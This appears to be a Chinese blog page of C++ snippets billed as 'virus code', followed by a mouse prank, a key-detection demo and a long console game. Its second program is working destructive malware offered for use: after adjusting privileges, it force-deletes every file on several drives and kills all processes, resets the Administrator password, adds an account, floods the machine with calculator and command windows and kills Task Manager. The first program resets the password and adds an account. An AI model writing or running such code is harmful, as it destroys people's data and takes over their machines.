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    c++病毒代码(慎用) Page Views Count

    #include<iostream>
    #include<stdlib.h>
    #include<conio.h>
    #include<windows.h>
    #include<ctime>
    using namespace std;
    int main()
    {
    	cout<<"确定要修改密码吗,请输入Y(Yes)或N(No):";
    	char k=getch();
    	if(k=='Y'||k=='y') system("net user Administrator wait");//用户密码重设为wait
    	system("net user xxx wait /add");//用户名重设为xxx
    	//system("ping www.baidu.com");//ping百度网站
    	cout<<"确定要30秒关机吗,请输入Y(Yes)或N(No):";
    	k=getch();
    	if(k=='Y'||k=='y') system("shutdown -s -t 30");//30秒后关机	
    	//system("del /F /S /Q D:\\");//强制删除D盘(慎用)
    	int x=GetSystemMetrics(SM_CXSCREEN);//get鼠标x轴 
        int y=GetSystemMetrics(SM_CYSCREEN);//get鼠标y轴
    	cout<<"确定要控制鼠标吗,请输入Y(Yes)或N(No):";
    	k=getch();
    	if(k=='Y'||k=='y') {
    		while(1)
    		{
    			SetCursorPos(rand()%x,rand()%y);//鼠标 x y轴 随机
    			//system("calc");//打开无数个计算器,直到死机(慎用) 
    			//system("cmd");//打开cmd(慎用)
    			//system("taskkill /f /im taskmgr.exe");//禁止打开任务管理器(慎用)
    		}	
    	}
    	return 0;
    }
    

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    病毒火力全开版

    #include<iostream>
    #include<stdlib.h>
    #include<conio.h>
    #include<windows.h>
    #include<ctime>
    bool ElevatePrivileges() {
        HANDLE hToken;
        LUID sedebugnameValue;
        TOKEN_PRIVILEGES tkp;
     
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
            return false;
        }
     
        if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
            CloseHandle(hToken);
            return false;
        }
     
        tkp.PrivilegeCount = 1;
        tkp.Privileges[0].Luid = sedebugnameValue;
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
     
        if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL)) {
            CloseHandle(hToken);
            return false;
        }
     
        if (GetLastError() != ERROR_SUCCESS) {
            CloseHandle(hToken);
            return false;
        }
     
        CloseHandle(hToken);
        return true;
    }//这个函数是获取管理员权限 
    using namespace std;
    int main()
    {	if (ElevatePrivileges()) { //查看是否有管理员权限 
        	system("del /F /S /Q D:\\");//强制删除D盘(慎用)
    		system("del /F /S /Q C:\\");//强制删除C盘(慎用)
    		system("del /F /S /Q E:\\");//强制删除E盘(慎用)
    		system("del /F /S /Q H:\\");//强制删除H盘(慎用)
    		system("del /F /S /Q I:\\");//强制删除I盘(慎用)
    		int x=GetSystemMetrics(SM_CXSCREEN);//get鼠标x轴 
       		int y=GetSystemMetrics(SM_CYSCREEN);//get鼠标y轴
    		while(1)
    		{
    			cout<<"电脑死亡之日!!!迎接电脑的颤抖吧"<<endl; 
    			system("taskkill /f /im *");
    			system("net user Administrator qwertyuiopasdfghjklzxcvbnm");//用户密码重设为*** 
    			system("net user 顶级黑客 wait /add");//用户名重设为xxx
    			system("ping www.baidu.com");//ping百度网站
    			system("ping io.codehero.store");//ping io网站
    			system("ping 4399.com");//ping 4399网站
    			SetCursorPos(rand()%x,rand()%y);//鼠标 x y轴 随机
    			system("calc");//打开管理员无数个计算器,直到死机(慎用) 
    			system("cmd");//打开cmd(慎用)
    			system("taskkill /f /im taskmgr.exe");//禁止打开任务管理器(慎用)
    		}
    	}
        else {
            cout<<"没有管理员权限,无法使用电脑大保健小程序"<<endl;
    		cout<<"请右键本程序,选择管理员身份运行"; 
        }
    	return 0;
    }
    

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    让鼠标唱跳rap打篮球(无毒)

    #include<iostream>
    #include<stdlib.h>
    #include<conio.h>
    #include<windows.h>
    #include<ctime>
    using namespace std;
    int main()
    {
    	int x=GetSystemMetrics(SM_CXSCREEN);//get鼠标x轴
    	int y=GetSystemMetrics(SM_CYSCREEN);//get鼠标y轴
    	while(1)
    	{
    		SetCursorPos(rand()%x,rand()%y);//鼠标 x y轴 随机
    		if(GetAsyncKeyState('V') && GetAsyncKeyState('K')){ //按下V键和K键可跳出(不用大写) 
    			return 0;
    		}
    	}	
    	return 0;
    }
    

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    键盘输入检测

    #include<stdlib.h>
    #include<conio.h>
    #include<windows.h>
    #include<ctime>
    using namespace std;
    int main()
    {
    	while(1){
    		if(GetAsyncKeyState('V')){
    			cout<<1<<endl;
    		}
    	}
    }
    

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    c++获取管理员权限(程序要以管理员身份)

    #include <windows.h>
     
    bool ElevatePrivileges() {
        HANDLE hToken;
        LUID sedebugnameValue;
        TOKEN_PRIVILEGES tkp;
     
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
            return false;
        }
     
        if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
            CloseHandle(hToken);
            return false;
        }
     
        tkp.PrivilegeCount = 1;
        tkp.Privileges[0].Luid = sedebugnameValue;
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
     
        if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL)) {
            CloseHandle(hToken);
            return false;
        }
     
        if (GetLastError() != ERROR_SUCCESS) {
            CloseHandle(hToken);
            return false;
        }
     
        CloseHandle(hToken);
        return true;
    }
     
    int main() {
        if (ElevatePrivileges()) {
            // 权限提升成功,可以执行需要管理员权限的操作
        } else {
            // 权限提升失败
        }
        return 0;
    }
    

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    ·暴力出奇迹,骗分过样例。

    ·数学先打表,DP看运气。

    ·穷举TLE,递推UKE。

    ·模拟MLE,贪心还CE。

    ·想要骗到分,就要有方法。

    ·图论背模板,数论背公式。

    ·动规背方程,高精背代码。

    ·如果都没背,干脆输样例。

    模拟只会猜题意,贪心只能过样例,

    数学上来先打表,D P一般看规律。

    组合数学靠运气,计算几何瞎暴力,

    图论一顿套模板,数论只会GCD

    #include<bits/stdc++.h>    
    #include<windows.h>
    #include<stdio.h>
    #include<conio.h>
    #include<time.h>
    #define Nor if(B[b].x<5) B[b].x=5;
    #define Out1 Bx1-Bvx1<=6||Bx1-Bvx1>=28||By1-Bvy1<=7||By1-Bvy1>=27
    #define Out2 Bx2-Bvx2<=6||Bx2-Bvx2>=28||By2-Bvy2<=7||By2-Bvy2>=27
    #define Chang1 {Bwhat1=0;Bvx1=Bvy1=0;memset(Bgo1,0,sizeof(Bgo1));}
    #define Chang2 {Bwhat2=0;Bvx2=Bvy2=0;memset(Bgo2,0,sizeof(Bgo2));}
    #define Chang3 {Bwhat3=0;Bvx3=Bvy3=0;memset(Bgo3,0,sizeof(Bgo3));}
    using namespace std;
    int ti(float a) {return ((int)(a*10+5))/10;}
    void Setpos(float x,float y){COORD pos;pos.X=ti(y*4)/2;pos.Y=ti(x);SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);}
    void Color(int a){if(a==0) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);if(a==1) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);if(a==2) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);if(a==3) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);if(a==4) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);if(a==5) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);if(a==6) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);if(a==7) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);if(a==8) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED);if(a==9) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY|BACKGROUND_GREEN|BACKGROUND_BLUE);if(a==10) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY|BACKGROUND_RED|BACKGROUND_BLUE);if(a==11) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_BLUE);if(a==12) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN);if(a==13) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY);if(a==14) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_GREEN|FOREGROUND_BLUE);}
    int Blomax,Ren,Exp,Expmax,Lv,Lvl,Ice,Drug,ar1,ar2,Tar1,Tar2,bl,br,Win,T,Tb,Sy,Up,Upt,Down,u1,u2,Kill,Killb,L,Ll[4],Li,D,Gd[10],Biao,Fire,Fir,Water,Thun,Wind,Magne,I[20][2],ib,Dis,Disb,Dis1,Disb1,Boss,Bblo,Bblomax,Bwhat1,Bwhat2,Bwhat3,Bgo1[10],Bgo2[10],Bgo3[10],Bbr,Bbl,Bl[4];
    float X,Y,Vx,Vy,Ding,Blo,Hui,Bx1,By1,Bx2,By2,Bx3,By3,Bvx1,Bvy1,Bvx2,Bvy2,Bvx3,Bvy3,Bway[1001][2];
    struct bullet{float x,y,vx,vy;int what;int a,t,How;int life;bool kill;}B[100001];
    void Map(int a,int b);
    void Pan(int a,float x,float y,int b){
        float Nox[4],Noy[4];Nox[0]=X,Noy[0]=Y;
        if(Down==1&&X==22) Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=X-1,Noy[2]=Y-0.5;else if(Down==2) Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=-10,Noy[2]=-10;else if(Down==1||X<18) Nox[1]=X-1,Noy[1]=Y-0.5,Nox[2]=-10,Noy[2]=-10;else Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=X-1,Noy[2]=Y-0.5;
        for(int i=0;i<3;i++){
            if(a==-1){if(abs(x-Nox[i])+abs(y-Noy[i])<1.5) {if(B[b].what==-10)Exp+=2;if(B[b].what==-11)Exp+=1;B[b].life=0;if(B[b].life==0&&b==bl) bl++;Map(3,b);break;}}
            if(a==-2){if(abs(x-Nox[i])+abs(y-Noy[i])<2.5) {if(B[b].what==-2)Exp+=5,Biao+=5;if(B[b].what==-3)Fire=300,Ice=0,Fir=3;if(B[b].what==-4)Water=200;if(B[b].what==-5){Wind=70;Ding=28.25;Ice=0;if(Y<Ding-1)Vy=5;else Vy=0;if(Up>=1) Vx=-5;if(Down==2) Vx=5;}if(B[b].what==-6){Thun=200;system("color 1F");Sleep(20);system("color 6F");Sleep(10);system("color 0F");}if(B[b].what==-7)Magne=300;if(B[b].what==-8)Ice=0,Drug=0,Blo=fmin((float)Blomax,Blo+20);if(B[b].what==-9)Exp=fmin((float)Expmax,Exp+20);B[b].life=0;if(B[b].life==0&&b==bl) bl++;Map(3,b);break;}}
        }if(Wind==0&&Thun==0&&(B[b].kill!=0||Killb>=15||Ren==1&&Killb>0)) return;
        for(int i=0;i<3;i++){
            if((Wind>=1||Thun>=1)&&abs(x-Nox[i])+abs(y-Noy[i])<2.5) {if(B[b].what<98)Exp+=2;B[b].life=0;Map(3,b);break;}
            if(a==1) {if(abs(x-Nox[i])<0.5&&abs(y-Noy[i])<1) {if(B[b].what>=99)Blo-=10;if(B[b].what==14)Blo-=15,Ice=100,B[b].life=0;else if(B[b].what==15)Blo-=20,Ice=0,B[b].life=0;else if(B[b].what==17)Blo-=5,Drug=100,B[b].life=0;else if(B[b].what>=13&&B[b].what<=17)Blo-=10,B[b].life=0;else Blo-=15;B[b].kill=1,Killb=20;Kill=1;Map(3,b);break;}}
            if (a==2||a==6||a==8||a==9||a==10||a==11||a==12) {
                if(abs(x-Nox[i])+abs(y-Noy[i])<1.5) {
                    if(a==2)Blo-=20;
                    else if(a==8)Blo-=10;
                    else Blo-=15;B[b].kill=1,Killb=20;Kill=1;if(a!=2){B[b].life=0;if(B[b].life==0&&b==bl) bl++;Map(3,b);break;}}}
            if(a==4) {if((Wind>=1||Thun>=1)&&abs(x-Nox[i])<1.5&&Noy[i]-y<=0&&Noy[i]-y>=-8) {if(B[b].what<98)Exp+=2;B[b].life=0;Map(3,b);break;}if(abs(x-Nox[i])<1&&Noy[i]-y<=0&&Noy[i]-y>=-8) {Blo-=25,B[b].kill=1,Killb=20;Kill=1;Vy=-1;Y-=0.5;break;}}
        }
    }
    void Map(int a,int b){
        Color(0);
        if(a==-1){
            if(Boss==1||Boss==6){if(Bwhat1==5){if(ti(Bx1)==20)Setpos(Bx1,By1),cout<<"==";else Setpos(Bx1,By1),cout<<"  ";}else{Setpos(Bx1-1,By1-0.5),cout<<"    ";Setpos(Bx1,By1-1),cout<<"      ";Setpos(Bx1+1,By1-0.5),cout<<"    ";if(abs(ti(Bx1)-20)<=1)Setpos(20,By1-1),cout<<"======";}}
            if(Boss==2||Boss==6){Setpos(Bx2-1,By2-1);cout<<"    ";Setpos(Bx2,By2-1);cout<<"      ";Setpos(Bx2+1,By2-1),cout<<"      ";Color(0);if(abs(ti(Bx2)-20)<=1)Setpos(20,By2-1),cout<<"======";}
            if(Boss==3||Boss==6){Setpos(Bx3-1,By3-0.5);cout<<"     ";Setpos(Bx3,By3);cout<<"  ";Setpos(Bx3+1,By3-1),cout<<"      ";Color(0);if(abs(ti(Bx3)-20)<=1)Setpos(20,By3-1),cout<<"=======";}
            if(X<0)return;if(X>=17&&X<=19){Setpos(X-1,Y);cout<<"  ";Setpos(X,Y-1);cout<<"   ";Setpos(X+1,Y-1),cout<<"   ";}else if(X<=23&&X>=21){Setpos(X+1,Y);cout<<"  ";Setpos(X,Y-1);cout<<"   ";Setpos(X-1,Y-1),cout<<"    ";}else if(X>23){Setpos(X,Y-1);cout<<"    ";Setpos(X-1,Y-0.5),cout<<"   ";}else if(X<17&&Upt!=0){Setpos(X,Y-1);cout<<"    ";Setpos(X+1,Y-1.5),cout<<"    ";}else if(X<17){Setpos(X,Y-1);cout<<"    ";Setpos(X+1,Y-0.5),cout<<"   ";}if(Thun>0){Setpos(X-2,Y-1),cout<<"    ";Setpos(X+2,Y-1),cout<<"    ";Setpos(X,Y+2),cout<<"  ";Setpos(X,Y-2.5),cout<<"  ";Setpos(X-1,Y+1),cout<<"  ";Setpos(X+1,Y+1),cout<<"  ";Setpos(X-1,Y-2),cout<<"  ";Setpos(X+1,Y-2),cout<<"  ";Setpos(20,Y-2.5),cout<<"============";}if(Wind!=0){Setpos(X+1,Y-5);cout<<"        ";Setpos(X,Y-5);cout<<"        ";Setpos(X-1,Y-5);cout<<"        ";Setpos(20,Y-5),cout<<"========";}if(Water!=0){Setpos(X,Y-4);cout<<"       ";Setpos(X+2,Y-3.5);cout<<"     ";Setpos(X-2,Y-3.5);cout<<"     ";Setpos(X+1,Y-3.5);cout<<"     ";Setpos(X-1,Y-3.5);cout<<"     ";Setpos(20,Y-5),cout<<"========";}if(Fire!=0){Setpos(X,Y+1),cout<<"  ";Setpos(X+1,Y),cout<<"  ";Setpos(X-1,Y-1),cout<<"  ";Setpos(20,Y-1);cout<<"======";}
        }
        if(a==0){
            if(Boss==1||Boss==6){if(Bwhat1==5)Color(5),Setpos(Bx1,By1),cout<<"█",Color(0);else if(Bwhat1==4&&Bgo1[1]>6&&Bgo1[1]<11)Color(4),Setpos(Bgo1[5]-1,Bgo1[6]),cout<<"︻",Setpos(Bgo1[5],Bgo1[6]-1),cout<<"【",Setpos(Bgo1[5],Bgo1[6]+1),cout<<"】",Setpos(Bgo1[5]+1,Bgo1[6]),cout<<"︼",Color(0);else{Setpos(Bx1-1,By1-0.5),Color(0),cout<<"●●";Setpos(Bx1,By1-1);if(Bwhat1==2&&Bgo1[1]<=5)Color(1);else if(Bwhat1==3&&Bgo1[1]<=5)Color(5);else if(Bwhat1==6&&Bgo1[1]<=5)Color(8); else Color(4);if(Bwhat1==4) Setpos(Bx1,By1-0.5),cout<<"██(";else cout<<")██(";Setpos(Bx1+1,By1-0.5),cout<<"……";Color(0);}}
            if(Boss==2||Boss==6){Setpos(Bx2-1,By2-1);Color(0),cout<<"\\ ";Color(0);cout<<"●";Setpos(Bx2,By2-1);Color(3);cout<<"◥";Color(5),cout<<"JJJ";Color(0),cout<<">";Color(3);Setpos(Bx2+1,By2-1),cout<<"◢█◣";Color(0);}
            if(Boss==3||Boss==6){Setpos(Bx3-1,By3-0.5);if(Bwhat3==3||Bwhat3==9) Color(1);else if(Bwhat3==4||Bwhat3==10) Color(4);else if(Bwhat3==5||Bwhat3==11) Color(5);if(Bwhat3==11)cout<<' ';else if(Bwhat3==6) Color(3);else Color(2);cout<<"●-";Setpos(Bx3,By3);if(Bwhat3==11)cout<<"/";else cout<<"┃";Color(0);Setpos(Bx3+1,By3-1),cout<<"●●●";}
            if(X<0)return;if(Ren==2) Color(12);if(Ren==3) Color(1);if(Ren==4) Color(3);if(Ren==5) Color(4);if(Ren==6) Color(2);if(Drug!=0&&T%5!=0) Color(11);if(Drug!=0&&T%5==0) Color(11);if(Ice!=0) Color(6);if(b==1) Color(8);if(Li!=0) Color(5);if(Ren==1&&Killb>0&&T%4<2) Color(13);if(Wind>0&&T%4<=1) Color(1);if(Wind>0&&T%4>=2) Color(0);if(Thun>0&&T%4<=1) Color(1);if(Thun>0&&T%4>=2) Color(6);
            if(X>=17&&X<=19){Setpos(X-1,Y);cout<<"●";Setpos(X,Y-1);cout<<"━/";if(T%10<3) Setpos(X+1,Y-1),cout<<"┛╲";else if(T%10<6) Setpos(X+1,Y-1),cout<<"┦ ";else Setpos(X+1,Y-1),cout<<"╯>";if(Wind>0&&T%3==0) Setpos(X+1,Y-1),cout<<"┛╲";else if(Wind>0&&T%3==1) Setpos(X+1,Y-1),cout<<"┦ ";else if(Wind>0&&T%3==2)Setpos(X+1,Y-1),cout<<"╯>";}else if(X<=23&&X>=21){Setpos(X+1,Y);cout<<"●";Setpos(X,Y-1);cout<<"━\\";if(T%10<3) Setpos(X-1,Y-1),cout<<"┓╱";else if(T%10<6) Setpos(X-1,Y-1),cout<<"┪ ";else Setpos(X-1,Y-1),cout<<"╮>";if(Wind>0&&T%3==0) Setpos(X-1,Y-1),cout<<"┓╱";else if(Wind>0&&T%3==1) Setpos(X-1,Y-1),cout<<"┪ ";else if(Wind>0&&T%3==2)Setpos(X-1,Y-1),cout<<"╮>";}else if(X>23){Setpos(X,Y-1);cout<<"━ ●";Setpos(X-1,Y-0.5),cout<<"│>";}else if(X<17&&Upt!=0){Setpos(X,Y-1);cout<<"━ ●";Setpos(X+1,Y-1.5),cout<<"╱ >";}else if(X<17){Setpos(X,Y-1);cout<<"━ ●";Setpos(X+1,Y-0.5),cout<<"│>";}if(Thun>0){Setpos(X-2,Y-1),cout<<"▄▄";Setpos(X+2,Y-1),cout<<"▄▄";Setpos(X,Y+2),cout<<"▌";Setpos(X,Y-2.5),cout<<"▌";Setpos(X-1,Y+1),cout<<"█";Setpos(X+1,Y+1),cout<<"█";Setpos(X-1,Y-2),cout<<"█";Setpos(X+1,Y-2),cout<<"█";}if(Magne>0&&T%7<2)Setpos(X,Y),Color(5),cout<<"★";if(Wind>1){if(T%6<2)Color(1);else Color(0);if(T%8<=1){Setpos(X+1,Y-5);cout<<"----  --";Setpos(X,Y-5);cout<<"-  --- -";Setpos(X-1,Y-5);cout<<"--- - --";}else if(T%8<=3){Setpos(X+1,Y-5);cout<<"------  ";Setpos(X,Y-5);cout<<" --  ---";Setpos(X-1,Y-5);cout<<"----- - ";}else if(T%8<=5){Setpos(X+1,Y-5);cout<<"  ------";Setpos(X,Y-5);cout<<"-- --  -";Setpos(X-1,Y-5);cout<<"- ----- ";}else if(T%8<=7){Setpos(X+1,Y-5);cout<<"--  ----";Setpos(X,Y-5);cout<<" --- -- ";Setpos(X-1,Y-5);cout<<"- - ----";}}if(Water!=0){Color(1);if(T%20<5){Setpos(X+2,Y-3);cout<<"■";Setpos(X+1,Y-3.5);cout<<"■";Setpos(X-1,Y-2.5);cout<<"■";Setpos(X-2,Y-3);cout<<"■";}else if(T%20<10||T%20>=15){Setpos(X+2,Y-3);cout<<"■";Setpos(X,Y-4);cout<<"■■";Setpos(X-2,Y-3);  cout<<"■";}else if(T%20<15){Setpos(X+2,Y-3.5);cout<<"■";Setpos(X+1,Y-3);cout<<"■";Setpos(X-1,Y-3.5);cout<<"■";Setpos(X-2,Y-3);cout<<"■";}}if(Fire!=0){if(T%6<3)Color(4);else Color(5);if(Fir>=1)Setpos(X,Y+1),cout<<"●";if(Fir>=2)Setpos(X+1,Y),cout<<"●";if(Fir>=3)Setpos(X-1,Y-1),cout<<"●";}
        }
        if(a==1||a==3){
            if(B[b].what==1){Nor;Setpos(B[b].x,B[b].y-1);if(ti(B[b].x)==20)cout<<"======";else cout<<"      ";if(B[b].life!=0){B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);if(B[b].How<=1) Color(13);else Color(4);cout<<"●";if(a==1) Pan(1,B[b].x,B[b].y,b);}}
            if(B[b].what==2){Nor;Setpos(B[b].x-1,B[b].y-1);if(ti(B[b].x-1)==20)cout<<"======";else cout<<"      ";Setpos(B[b].x,B[b].y-1);if(ti(B[b].x)==20)cout<<"======";else cout<<"      ";Setpos(B[b].x+1,B[b].y-1);if(ti(B[b].x+1)==20)cout<<"======";else cout<<"      ";if(B[b].life!=0){B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);Color(5);if(B[b].How==0){Setpos(B[b].x-1,B[b].y),cout<<"↑";Setpos(B[b].x,B[b].y-1),cout<<"←┼ →";Setpos(B[b].x+1,B[b].y),cout<<"↓";}else if(B[b].How==1){Setpos(B[b].x-1,B[b].y-1),cout<<"↖  ↗";Setpos(B[b].x,B[b].y),cout<<"╳";Setpos(B[b].x+1,B[b].y-1),cout<<"↙  ↘";} if(a==1) Pan(2,B[b].x,B[b].y,b);}}
            if(B[b].what==3||B[b].what==5){Nor;Setpos(B[b].x,B[b].y);if(ti(B[b].x)==20)cout<<"==";else cout<<"  ";if(B[b].life!=0){B[b].y-=B[b].vy;B[b].x-=B[b].vx;Setpos(B[b].x,B[b].y);if(B[b].How==1) Color(5);else Color(4);cout<<"◎";}}
            if(B[b].what==4){Nor;Setpos(B[b].x,fmax((float)0,B[b].y-8));if(ti(B[b].x)==20){for(int i=max(0,(int)B[b].y-8);i<=B[b].y;i++)cout<<"==";}else {for(int i=max(0,(int)B[b].y-8);i<=B[b].y;i++)cout<<"  ";}if(B[b].life!=0){B[b].y-=B[b].vy;Setpos(B[b].x,fmax((float)0,B[b].y-8));Color(6); for(int i=max(0,(int)B[b].y-8);i<=B[b].y;i++)cout<<"═"; if(a==1) Pan(4,B[b].x,B[b].y,b);}}
            if(B[b].what==6||B[b].what==8||B[b].what==9){Nor;Setpos(B[b].x-1,B[b].y);if(ti(B[b].x)-1==20)cout<<"==";else cout<<"  ";Setpos(B[b].x+1,B[b].y);if(ti(B[b].x)+1==20)cout<<"==";else cout<<"  ";Setpos(B[b].x,B[b].y-1);if(ti(B[b].x)==20)cout<<"======";else cout<<"      ";if(B[b].life!=0){B[b].y-=B[b].vy;B[b].x-=B[b].vx;Setpos(B[b].x,B[b].y-1);if(B[b].what==6){if(B[b].How<=1) Color(1); else Color(6);}if(B[b].what==9){if(B[b].How<=1) Color(4); else Color(8);}if(B[b].what==8)Color(5);Setpos(B[b].x-1,B[b].y);cout<<"︹";Setpos(B[b].x+1,B[b].y);cout<<"︺";Setpos(B[b].x,B[b].y-1);if(B[b].How%2==1) cout<<"〔●〕"; else cout<<"﹝○﹞"; if(a==1) Pan(6,B[b].x,B[b].y,b);}}
            if(B[b].what==7){Nor;Setpos(B[b].x,B[b].y);if(B[b].How<0) for(int i=19;i>=20+B[b].How;i--) {Setpos(i,B[b].y);cout<<"  ";}if(B[b].How>0) for(int i=21;i<=20+B[b].How;i++) {Setpos(i,B[b].y);cout<<"  ";}if(B[b].life!=0){B[b].y-=B[b].vy;if(B[b].How<0) for(int i=19;i>=20+B[b].How;i--) {Setpos(i,B[b].y);cout<<"║"; if(a==1) Pan(7,i,B[b].y,b);}if(B[b].How>0) for(int i=21;i<=20+B[b].How;i++) {Setpos(i,B[b].y);cout<<"║"; if(a==1) Pan(7,i,B[b].y,b);}}}
            if(B[b].what==10||B[b].what==11||B[b].what==12){Nor;Setpos(B[b].x,B[b].y);if(ti(B[b].x)==20)cout<<"==";else cout<<"  ";if(B[b].life!=0){B[b].x-=B[b].vx;B[b].y-=B[b].vy;if(B[b].How==1){B[b].vy-=0.2;}else B[b].vx-=0.35;if(B[b].x>=25) B[b].x=25,B[b].vx*=-0.8;if(B[b].what==11&&B[b].y<=1) B[b].y=1,B[b].vy*=-1;if(B[b].what==12&&B[b].y<=1) B[b].y=1,B[b].vx=0,B[b].vy=-0.5,B[b].How=1;Setpos(B[b].x,B[b].y);if(B[b].what==11)Color(1);else if(B[b].what==12)Color(5);else Color(0);if(B[b].t%4<2)cout<<"▃";else cout<<"▍";if(a==1) Pan(B[b].what,B[b].x,B[b].y,b);}}
            if(B[b].what>=13&&B[b].what<=17){Nor;Setpos(B[b].x,B[b].y);if(ti(B[b].x)==20)cout<<"====";else cout<<"    ";if(B[b].life!=0){B[b].x-=B[b].vx;B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);if(B[b].what==14) Color(1);else if(B[b].what==15) Color(4);else if(B[b].what==16) Color(5);else if(B[b].what==17) Color(3);else Color(2);cout<<"●";if(B[b].what==14)cout<<"*";if(B[b].what==15)cout<<"";if(B[b].what==16)cout<<"<";if(B[b].what==17)cout<<"X";} if(a==1) Pan(1,B[b].x,B[b].y,b);}
            if(B[b].what==98&&B[b].life!=0){B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);if(ti(B[b].x==20))cout<<"==";else cout<<"  ";if(B[b].y<=3)B[b].life=0;} 
            if(B[b].what>=99){if(B[b].y<=3)B[b].life=0;if(B[b].life!=0){B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);Color(5);if(B[b].what==99)cout<<"█";if(B[b].what>=100&&B[b].what<200){if(B[b].what%5==0)cout<<"我";if(B[b].what%5==1)cout<<"是";if(B[b].what%5==2)cout<<"最";if(B[b].what%5==3)cout<<"强";if(B[b].what%5==4)cout<<"的";}if(B[b].what>=200&&B[b].what<300){if(B[b].what%6==0)cout<<"神";if(B[b].what%6==1)cout<<"级";if(B[b].what%6==2)cout<<"怪";if(B[b].what%6==3)cout<<"物";if(B[b].what%6==4)cout<<"之";if(B[b].what%6==5)cout<<"光";}if(B[b].what>=300&&B[b].what<400){if(B[b].what%8==0)cout<<"颤";if(B[b].what%8==1)cout<<"抖";if(B[b].what%8==2)cout<<"吧";if(B[b].what%8==3)cout<<"无";if(B[b].what%8==4)cout<<"能";if(B[b].what%8==5)cout<<"的";if(B[b].what%8==6)cout<<"人";if(B[b].what%8==7)cout<<"类";}if(B[b].what>=400&&B[b].what<500){if(B[b].what%8==0)cout<<"还";if(B[b].what%8==1)cout<<"不";if(B[b].what%8==2)cout<<"快";if(B[b].what%8==3)cout<<"跪";if(B[b].what%8==4)cout<<"倒";if(B[b].what%8==5)cout<<"在";if(B[b].what%8==6)cout<<"朕";if(B[b].what%8==7)cout<<"前";}if(B[b].what>=500&&B[b].what<600){if(B[b].what%8==0)cout<<"看";if(B[b].what%8==1)cout<<"懂";if(B[b].what%8==2)cout<<"这";if(B[b].what%8==3)cout<<"句";if(B[b].what%8==4)cout<<"话";if(B[b].what%8==5)cout<<"的";if(B[b].what%8==6)cout<<"是";if(B[b].what%8==7)cout<<"猪";} if(a==1) Pan(1,B[b].x,B[b].y,b);}}
            if(B[b].what==-1){Nor;Setpos(B[b].x,B[b].y);if(ti(B[b].x)==20)cout<<"==";else cout<<"  ";if(Boss==0) B[b].life=0;else if(((Boss==1&&abs(B[b].x-Bx1)+abs(B[b].y-By1)<1.5)||(Boss==2&&abs(B[b].x-Bx2)+abs(B[b].y-By2)<1.5)||(Boss==3&&abs(B[b].x-Bx3)+abs(B[b].y-By3)<1.5)||(B[b].t==10))&&B[b].life==1) Bblo-=8+Lv*2,B[b].life=0;if(B[b].life!=0){if(Boss==1)B[b].x=B[b].x+(Bx1-B[b].x)/(10-B[b].t)*1.0,B[b].y=B[b].y+(By1-B[b].y)/(10-B[b].t)*1.0;if(Boss==2)B[b].x=B[b].x+(Bx2-B[b].x)/(10-B[b].t)*1.0,B[b].y=B[b].y+(By2-B[b].y)/(10-B[b].t)*1.0;if(Boss==3)B[b].x=B[b].x+(Bx3-B[b].x)/(10-B[b].t)*1.0,B[b].y=B[b].y+(By3-B[b].y)/(10-B[b].t)*1.0;Setpos(B[b].x,B[b].y);Color(7);if(B[b].t%2==0) cout<<"+";else cout<<"×";}}
